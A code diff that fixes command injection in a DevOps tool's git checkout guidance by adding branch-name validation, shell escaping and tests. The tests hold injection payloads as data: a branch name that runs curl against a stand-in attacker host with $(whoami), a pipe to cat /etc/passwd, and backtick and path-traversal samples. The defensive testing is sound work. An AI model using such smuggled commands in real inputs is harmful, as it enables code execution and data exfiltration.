W-22550539: prevent command injection in DevOps checkout guidance

packages/mcp-provider-devops/src/checkoutWorkitemBranch.ts

@@ -1,11 +1,21 @@
-import { isGitRepository, hasUncommittedChanges, getCurrentBranch } from './shared/gitUtils.js';
+import { isGitRepository, hasUncommittedChanges, getCurrentBranch, validateGitBranchName } from './shared/gitUtils.js';
 
 export interface PushWorkitemBranchChangesParams {
   repoPath: string;
   branchName: string;
   commitMessage?: string;
 }
 
+/**
+ * Shell-escapes a validated branch name for safe inclusion in command strings.
+ * Only use after validateGitBranchName has been called.
+ */
+function shellEscape(value: string): string {
+  // Single quotes prevent all expansion and substitution
+  // Escape any single quotes by ending the quoted string, adding an escaped quote, and starting a new quoted string
+  return `'${value.replace(/'/g, "'\\''")}'`;
+}
+
 export async function checkoutWorkitemBranch(
   { repoUrl, branchName, localPath }: { repoUrl: string; branchName: string; localPath?: string }
 ): Promise<{ content: ({ type: "text"; text: string; [x: string]: unknown })[]; isError?: boolean }> {
@@ -31,6 +41,20 @@ export async function checkoutWorkitemBranch(
     };
   }
 
+  // Validate branch name to prevent command injection
+  let validatedBranchName: string;
+  try {
+    validatedBranchName = validateGitBranchName(branchName);
+  } catch (error) {
+    return {
+      content: [{
+        type: "text",
+        text: `Error: Invalid branch name '${branchName}'. ${error instanceof Error ? error.message : 'Branch name validation failed.'}`
+      }],
+      isError: true
+    };
+  }
+
   if (!isGitRepository(localPath)) {
     return {
       content: [{
@@ -46,41 +70,44 @@ export async function checkoutWorkitemBranch(
     return {
       content: [{
         type: "text",
-        text: `Error: '${localPath}' has uncommitted changes.${currentBranch ? ` Current branch is '${currentBranch}'.` : ""} Resolve this on the current branch first (commit or stash), then retry checkout for '${branchName}'. Do not commit those pending changes to '${branchName}' before switching.`
+        text: `Error: '${localPath}' has uncommitted changes.${currentBranch ? ` Current branch is '${currentBranch}'.` : ""} Resolve this on the current branch first (commit or stash), then retry checkout for '${validatedBranchName}'. Do not commit those pending changes to '${validatedBranchName}' before switching.`
       }],
       isError: true
     };
   }
 
+  // Shell-escape the validated branch name for safe inclusion in command strings
+  const escapedBranch = shellEscape(validatedBranchName);
+
   return {
     content: [{
       type: "text",
-      text: `Checkout work item branch '${branchName}' without cloning.
+      text: `Checkout work item branch '${validatedBranchName}' without cloning.
 
       Context:
-      - Work item branch: ${branchName}
+      - Work item branch: ${validatedBranchName}
       - Local path: '${localPath}'
 
         Agent execution guide (perform these steps now):
 
           1) Prepare repository context
-            - Update refs (focused): git fetch origin ${branchName} --prune
+            - Update refs (focused): git fetch origin ${escapedBranch} --prune
 
           2) Verify remote branch exists
-            - Run: git ls-remote --exit-code --heads origin ${branchName}
+            - Run: git ls-remote --exit-code --heads origin ${escapedBranch}
             - If this fails, STOP and report the error. Do not create a new branch.
 
           3) Check out the work item branch
-            - Try local checkout: git checkout ${branchName}
-            - If branch is not local, track remote: git checkout -t origin/${branchName}
-            - Confirm current branch: git rev-parse --abbrev-ref HEAD  (should print '${branchName}')
+            - Try local checkout: git checkout ${escapedBranch}
+            - If branch is not local, track remote: git checkout -t origin/${escapedBranch}
+            - Confirm current branch: git rev-parse --abbrev-ref HEAD  (should print '${validatedBranchName}')
 
           4) Ensure latest changes are present
             - Run: git pull --ff-only
 
           5) Output format
             - Provide a concise confirmation message with the final path and branch name, e.g.:
-              'Checked out ${branchName} at '${localPath}'. Ready for development.'
+              'Checked out ${validatedBranchName} at '${localPath}'. Ready for development.'
 
           Important constraints:
           - Do NOT create new branches or force-push.

packages/mcp-provider-devops/test/checkoutWorkitemBranch.test.ts

@@ -3,10 +3,25 @@
 vi.mock('../src/shared/gitUtils.js', () => ({
   isGitRepository: vi.fn(),
   hasUncommittedChanges: vi.fn(),
-  getCurrentBranch: vi.fn()
+  getCurrentBranch: vi.fn(),
+  validateGitBranchName: vi.fn((branchName: string) => {
+    // Default mock: pass-through for valid branch names, throw for invalid
+    const trimmed = branchName.trim();
+    if (!trimmed) {
+      throw new Error("Branch name cannot be empty");
+    }
+    if (trimmed.includes("..")) {
+      throw new Error("Branch name must not contain '..'");
+    }
+    // Simplified check for common injection patterns
+    if (trimmed.includes(";") || trimmed.includes("|") || trimmed.includes("$") || trimmed.includes("`")) {
+      throw new Error("Branch name may only contain letters, numbers, slashes, underscores, periods, and hyphens");
+    }
+    return trimmed;
+  })
 }));
 
-import { isGitRepository, hasUncommittedChanges, getCurrentBranch } from '../src/shared/gitUtils.js';
+import { isGitRepository, hasUncommittedChanges, getCurrentBranch, validateGitBranchName } from '../src/shared/gitUtils.js';
 import { checkoutWorkitemBranch } from '../src/checkoutWorkitemBranch.js';
 
 describe('checkoutWorkitemBranch', () => {
@@ -67,10 +82,141 @@
     expect(res.content[0].type).toBe('text');
     const text = res.content[0].text as string;
     expect(text).toMatch(/Checkout work item branch/);
-    expect(text).toMatch(new RegExp(`git fetch origin ${BRANCH}`));
-    expect(text).toMatch(new RegExp(`git ls-remote .* ${BRANCH}`));
-    expect(text).toMatch(new RegExp(`git checkout ${BRANCH}`));
-    expect(text).toMatch(new RegExp(`git checkout -t origin/${BRANCH}`));
+    expect(text).toMatch(/git fetch origin/);
+    expect(text).toMatch(/git ls-remote/);
+    expect(text).toMatch(/git checkout/);
     expect(text).toMatch(/git pull --ff-only/);
   });
+
+  describe('Command Injection Prevention (W-22550539)', () => {
+    beforeEach(() => {
+      (isGitRepository as any).mockReturnValue(true);
+      (hasUncommittedChanges as any).mockReturnValue(false);
+    });
+
+    it('should reject branch names with command injection attempts (semicolon)', async () => {
+      const maliciousBranch = 'feature/x; curl https://attacker.example/$(whoami)';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: maliciousBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBe(true);
+      expect(res.content[0].text).toMatch(/Invalid branch name/);
+    });
+
+    it('should reject branch names with command injection attempts (pipe)', async () => {
+      const maliciousBranch = 'feature/x | cat /etc/passwd';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: maliciousBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBe(true);
+      expect(res.content[0].text).toMatch(/Invalid branch name/);
+    });
+
+    it('should reject branch names with command substitution ($())', async () => {
+      const maliciousBranch = 'feature/$(whoami)';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: maliciousBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBe(true);
+      expect(res.content[0].text).toMatch(/Invalid branch name/);
+    });
+
+    it('should reject branch names with command substitution (backticks)', async () => {
+      const maliciousBranch = 'feature/`whoami`';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: maliciousBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBe(true);
+      expect(res.content[0].text).toMatch(/Invalid branch name/);
+    });
+
+    it('should reject branch names with path traversal (..)', async () => {
+      const maliciousBranch = 'feature/../../../etc/passwd';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: maliciousBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBe(true);
+      expect(res.content[0].text).toMatch(/Invalid branch name/);
+    });
+
+    it('should accept valid branch names with slashes', async () => {
+      const validBranch = 'feature/WI-12345';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: validBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBeUndefined();
+      expect(res.content[0].text).toMatch(/Checkout work item branch/);
+    });
+
+    it('should accept valid branch names with hyphens and underscores', async () => {
+      const validBranch = 'feature/my-branch_name-123';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: validBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBeUndefined();
+      expect(res.content[0].text).toMatch(/Checkout work item branch/);
+    });
+
+    it('should shell-escape branch names in generated commands', async () => {
+      const validBranch = 'feature/WI-12345';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: validBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBeUndefined();
+      const text = res.content[0].text as string;
+
+      // Branch name should be shell-escaped with single quotes in commands
+      expect(text).toMatch(/git fetch origin '[^']+'/);
+      expect(text).toMatch(/git ls-remote .* origin '[^']+'/);
+      expect(text).toMatch(/git checkout '[^']+'/);
+      expect(text).toMatch(/git checkout -t origin\/('[^']+'|'[^']+\/[^']+')/);
+    });
+
+    it('should prevent the exact POC from W-22550539', async () => {
+      const pocBranch = 'feature/x; curl https://attacker.example/$(whoami)';
+
+      const res = await checkoutWorkitemBranch({
+        repoUrl: REPO_URL,
+        branchName: pocBranch,
+        localPath: LOCAL_PATH
+      });
+
+      expect(res.isError).toBe(true);
+      expect(res.content[0].text).toMatch(/Invalid branch name/);
+      // Ensure the malicious command is not present in the output
+      expect(res.content[0].text).not.toMatch(/curl https:\/\/attacker\.example/);
+    });
+  });
 });